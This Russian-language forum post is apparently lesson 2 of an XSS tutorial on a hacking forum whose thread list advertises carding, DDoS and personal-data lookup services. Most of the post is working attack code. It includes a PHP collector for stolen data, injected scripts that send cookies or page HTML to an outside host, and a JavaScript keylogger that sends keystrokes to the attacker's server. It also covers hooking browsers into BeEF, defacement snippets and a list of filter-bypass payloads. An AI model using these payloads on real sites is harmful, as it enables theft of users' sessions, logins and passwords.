Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода ф

klobald

Original poster
Pro Member
Сообщения
134
Реакции
121
Посетить сайт
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.

Для приёма и показа данных я буду использовать следующий код:
Код:
<?php

 

#error_reporting(0);

 

$filename = 'log.txt';

$password = 'pass';

 

if (!file_exists($filename)) {

    if ($fh = fopen($filename, 'w')) {

        fclose($fh);

    }

}

 

if (isset($_GET['c'])) {

    $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL;

    $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;

    $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL;

    $content .= PHP_EOL . PHP_EOL;

    file_put_contents($filename, $content, FILE_APPEND | LOCK_EX);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink($filename);

        } else {

            $data = file_get_contents($filename);

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.

В строках
Код:
$filename = 'log.txt';

$password = 'pass';

Устанавливаются файл для хранения данных и пароль (pass).

Для передачи данных используется переменная c, например:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

данные


Для просмотра полученных данных:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Для очистки файла с захваченными данными:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Уязвимость мы будем эксплуатировать в приложении

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Сборщик данных я разместил по адресу

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
Код:
<script>new Image().src="http://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>

Размещаем:

303.jpg

Получаем результат:

304.jpg

Можно украсть весь HTML код:
Код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>


Или отдельные элементы:
Код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>

Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.


Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
Код:
<script>document.body.innerHTML=""</script>

305.jpg

А так без содержимого будет только выбранный элемент:
Код:
<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>


Можно поменять содержимое сайта на своё:
Код:
<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>

306.jpg

Добавить что-то от себя:
Код:
<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>


307.jpg

И делать что-угодно со стилями.


Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.

Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.

На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:

Исходный код exploit.js:
Код:
var keys = '';

document.onkeypress = function (e) {

    var get = window.event ? event : e;

    var key = get.keyCode ? get.keyCode : get.charCode;

    key = String.fromCharCode(key);

    keys += key;

};

window.setInterval(function () {

    new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;

    keys = '';

}, 1000);

Обратите внимание на строку:
Код:
new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;



Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.

Второй файл exploit.php:
Код:
<?php



$password = 'pass';

 

if (!file_exists('keylog.txt')) {

    if ($fh = fopen('keylog.txt', 'w')) {

        fclose($fh);

    }

}

 

if (!empty($_GET['keylog'])) {

    $logfile = fopen('keylog.txt', 'a+');

    fwrite($logfile, $_GET['keylog']);

    fclose($logfile);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink('keylog.txt');

        } else {

            $data = file_get_contents('keylog.txt');

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

В нём можно ничего не менять – разве пароль установите на свой.

В сайте с имеющейся хранимой XSS мы вводим:
Код:
<script src="http://miloserdov.org/exploit.js"></script>


Обратите внимание на адрес –

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

– вам нужно заменить его на свой.

Вводим:

401.jpg



Просматриваем результат:

402.jpg



Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.

Атакующий запускает BeEF на своём сервере:
Код:
sudo beef

BeEF даёт подсказку, какой файл нужно внедрять в код:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Наш код, который мы вставляем в сайт, уязвимый к XSS:
Код:
<script src="http://192.168.1.39:3000/hook.js">


Внедняем:

501.jpg

Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:

502.jpg

Выполняем разные атаки:

503.jpg

504.jpg



Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.

Базовая полезная нагрузка XSS:
Код:
<script>alert("XSS-by-Shawar")</script>

"><script>alert("XSS-by-Shawar")</script>

"><script>alert(/XSS-by-Shawar/)</script>

Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script>

");alert("xss-by-shawar");//

Обход ограничения тэга script путём замены регистра:
Код:
"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)>

"><ScRiPt>alert("xss by shawar")</sCrIpT>

XSS с использованием тэгов Image и HTML:

Работает только в Chrome
Код:
"><detials ontoggle=confirm(0)>

"><IMG SRC=x onerror=javascript:alert(&quot;XSS-by-Shawar&quot;)>

"><img onmouseover=alert(“XSS by Shawar”)>

"><test onclick=alert(/xss-by-shawar/)>clickme</test>

"><a href=javascript:alert(/xss-by-shawar/)clickme</a>

"><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1>

"><svg/onload=prompt("XSS by Shawar Khan")>

"><body/onload=alert("XSS by shawar")>

В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)

Если input внутри тэга <style>:
Код:
body{xss:expression(alert("XSS by Shawar Khan"))}


Если input внутри атрибута style=" ":
Код:
xss:expression(alert(/xss-by-shawar/)


Обход фильтрации тэга script:
Код:
<<SCRIPT>alert("XSS by Shawar");//<</SCRIPT>

%253script%253ealert(/xss-by-shawar/)%253c/script%253e

"><s"%2b”cript>alert(/xss-by-shawar/)</script>

foo<script>alert(/xss-by-shawar/)</script>

<scr<script>ipt>alert(/xss-by-shawar/)</scr</script>ipt>

Продвинутая полезная нагрузка:
Код:
"><IMG SRC=x onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

"><a XSS-test href=jAvAsCrIpT&colon;prompt&lpar;/XSS-by-Shawar/&rpar;>ClickMe

"><h1/onclick=au006ceru0074(/xss-by-shawar/)>clickme</h1>

"><a id="a"href=javascript&colon;au006ceru0074&lpar;/xss-by-shawar/&rpar; id="xss-test">Click me</a>#a <

<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">clickme

Некоторые альтернативы полезных ключевых слов:
Код:
alert = au006ceru0074

prompt = pu0072omu0070u0074

confirm = cou006efiru006d

javascript = j&#x00041vascr&#x00069pt

: = &colon;

( = &lpar;

) = &rpar;

использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: <a href="javascript:alert%28 /xss/%29">clickme

base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+


Следующий урок скоро будет
P.s: И даже не думай использовать этот урок что бы хацкнуть hhide.su:D
P.p.s: Все равно ничего не получится)
 
  • Like
Реакции: Forevonly
Название темы
Автор Заголовок Раздел Ответы Дата
klobald Уроки по XSS: Урок 3. Контексты внедрения XSS Уязвимости и взлом 0
klobald Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов Уязвимости и взлом 0
Файт Уроки по C# .NET 2
P Видео-Уроки по С# Полезные статьи 8
Olie Уроки по HTML & CSS Другие ЯП 1
M Специалист по информационной безопасности Предоставляю работу. Ищу специалиста. 0
M Специалист по информационной безопасности Предоставляю работу. Ищу специалиста. 0
detaiist Пробив по Сбербанку Ищу работу. Предлагаю свои услуги. 0
Denik Интересно 17 000 пользователей по всему миру атакованы банкером QakBot с начала года Новости в сети 0
Vito Skaletta Ищу партнеров-поставщиков по всей РФ Предоставляю работу. Ищу специалиста. 0
S Новые базы 2гис и Яндекс карты за сентябрь 2021 г. Глобальное обновление по всем странам Все что не подошло по разделу 0
Good Profit Продам Автоматизированный бот по продаже Фуллок(FullzUSA) с выборкой Карты/CC/Банки/Enroll 2
ONPROXY Продам ONPROXY.NET Приватные прокси по доступным ценам от 25 рублей за штуку. Промо-код: discount на 35% Дедики/VPN/соксы/ssh 0
Khan Слив курса по заработку в ТикТоке за 25000 руб Способы заработка 0
Р Интересно Способ вывода с Binance и других бирж без верификации по СМС или 2FA Способы заработка 0
S Новые базы 2гис и Яндекс карты за сентябрь 2021 г. Глобальное обновление по всем странам Все что не подошло по разделу 1
G Golden Birds - это, на мой взгляд, самый лучший проект по заработку денег в сети Интернет Корзина 0
АнАлЬнАя ЧуПаКаБрА Слив мануала по BLACK RESELL Другое 0
Walalusur Слив [Андрей Коган] Курс по поставкам из Китая (2021) Способы заработка 0
lizun [АКТУАЛЬНО][Легкий заработок для всех][от 500руб в день][Без ограничений по заработку] Способы заработка 4
A #1 VLLOGS | Магазин только крутых игровых логов | Выбор логов по регионам Все что не подошло по разделу 0
T Работа менеджером по продажам удаленно Предоставляю работу. Ищу специалиста. 1
S Базы казино по 2021 г. включительно. Все страны Все что не подошло по разделу 1
C Сервис по взлому-услуги хакера-заказать взлом на Заказ в [email protected] - Услуги Хакера. Приветствую участников форума! Станьте королем момента Ищу работу. Предлагаю свои услуги. 0
S Email рассылка по юрлицам, физлицам, датинг, форекс, казино базам. Половина стран мира! Все что не подошло по разделу 0
N нужны люди по usa Предоставляю работу. Ищу специалиста. 0
TGK1NG Telegram K1ng - вывод в ТОП и накрутка Telegram каналов по вашему ключевому запросу Ищу работу. Предлагаю свои услуги. 0
richsm Услуги по YT, VK, Inst, TikTok, Facebook! richsmm.ru Ищу работу. Предлагаю свои услуги. 0
V Продам Продажа дедиков от 80 рублей по странам Дедики/VPN/соксы/ssh 1
119emperor DDOS аТаки !!!- услуги по временному отключению сайтов/серверов Ищу работу. Предлагаю свои услуги. 2
Matershinnik Обматерю Вашего недруга по телефону! Качественно, со злостью! Все виды телефонного пранка! Всего за 490 руб! Корзина 3
uchenik07 [Услуги по бану] Instagram Инстаграм Блокировка / Удаление аккаунтов ban block Ищу работу. Предлагаю свои услуги. 4
Б Продам Пробив информации по ИНН, Авто, ФИО, Телефону, паспорту, человеку, адресу Пробив информации/Прозвоны 1
W Комплексный прогон по трастовым сайтам, статейное размещение. Рост НЧ-СЧ, Икс. Ищу работу. Предлагаю свои услуги. 1
Zer0D4y Продам скрипт для спама по группам и лс телеграмма. Все что не подошло по разделу 1
SMMStats SMMStats.ru - Накрутим везде. Более 2500 SMM услуг по раскрутке. YouTube, TikTok, Instagram, VK, Telegram, Twitter.. Лайки, комментарии, подписчики... Ищу работу. Предлагаю свои услуги. 11
9779 Интересно tails ОЧЕНЬ подробный гайд по установке.Ч2 Анонимность и приватность 5
killasel Пробив по гос. Структурам России и Украины. В телегу killasel Пробив информации/Прозвоны 1
9779 Интересно tails ОЧЕНЬ подробный гайд по установке.Ч1 Анонимность и приватность 5
Flander2 Нужен специалист по hh.ru Предоставляю работу. Ищу специалиста. 1
bu8ba Интересно Слив более 49 бело-серых схем по заработку Способы заработка 4
bu8ba Большой слив курсов по Тик-Ток Способы заработка 0
adflak Вам нужны клиенты с теневых форумов по вкусной цене? Ищу работу. Предлагаю свои услуги. 15
BBTgang Продам NeverShop, бот по продаже валид баз и аккаунтов Аккаунты/Админки/Документы 0
adflak (Акция) Рассылка по чатам телеграм 5 дней - 1000₽ [img]https://c.radikal.ru/c41/2103/23/8c145b21e450.gif[/img] Рассылка по чатам телеграм – один из эф Ищу работу. Предлагаю свои услуги. 1
$ Ищем людей по направлениям хакинг, обмен и кардинг Ищу работу. Предлагаю свои услуги. 1
Friends Бот по отрисовки фейк чеки популярных приложений Ищу работу. Предлагаю свои услуги. 0
L Приглашаются дроповоды по ЕС на стабильную работу с высокой оплатой. Предоставляю работу. Ищу специалиста. 2
Uno-uno Интересно Обучение по Enroll Способы заработка 0
Khan Россиянин Кирилл Фирсов, задержанный в США по подозрению в похищении данных, признал свою вину Новости в сети 1

Название темы